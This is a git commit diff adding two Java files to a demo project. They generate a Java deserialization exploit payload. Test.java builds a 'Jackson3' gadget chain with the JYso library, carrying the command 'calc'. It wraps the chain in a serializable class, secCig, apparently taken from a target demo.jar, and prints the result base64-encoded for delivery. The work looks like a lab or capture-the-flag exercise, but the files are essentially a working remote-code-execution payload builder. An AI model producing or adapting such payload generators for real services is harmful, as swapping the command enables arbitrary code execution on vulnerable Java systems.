feat: I helped YJ

src/test/java/com/example/demo/demos/web/Test.java

@@ -0,0 +1,28 @@
+package com.example.demo.demos.web;
+
+import com.qi4l.JYso.gadgets.ObjectPayload;
+
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectOutputStream;
+import java.util.Base64;
+
+public class Test {
+    public static void main(String[] args) throws Exception {
+        final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
+        ObjectPayload                        payload      = payloadClass.newInstance();
+        Object                               object       = payload.getObject("calc");
+
+        secCig rootObj = new secCig();
+        rootObj.setMessage("qi4l");
+        rootObj.setSecObject(object);
+
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        ObjectOutputStream    oos  = new ObjectOutputStream(baos);
+        oos.writeObject(rootObj);
+        oos.close();
+
+        byte[] payloadBytes  = baos.toByteArray();
+        String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
+        System.out.println(base64Payload);
+    }
+}

src/test/java/com/example/demo/demos/web/secCig.java

@@ -0,0 +1,22 @@
+package com.example.demo.demos.web;
+
+import java.io.Serializable;
+
+/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */
+public class secCig implements Serializable {
+    private static final long serialVersionUID = 1;
+    public String message;
+    public Object secObject;
+
+    public String toString() {
+        return "secCig{message='" + this.message + "'}";
+    }
+
+    public void setMessage(String message) {
+        this.message = message;
+    }
+
+    public void setSecObject(Object secObject) {
+        this.secObject = secObject;
+    }
+}